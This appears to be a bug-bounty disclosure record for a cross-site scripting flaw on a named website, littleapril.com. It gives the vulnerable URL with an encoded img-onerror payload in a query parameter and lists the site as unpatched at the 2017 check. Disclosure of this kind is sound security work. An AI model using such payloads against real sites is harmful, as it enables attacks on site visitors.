littleapril.com XSS vulnerability

Vulnerable URL: http://littleapril.com/tour.html?nats=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2478445 VIP website...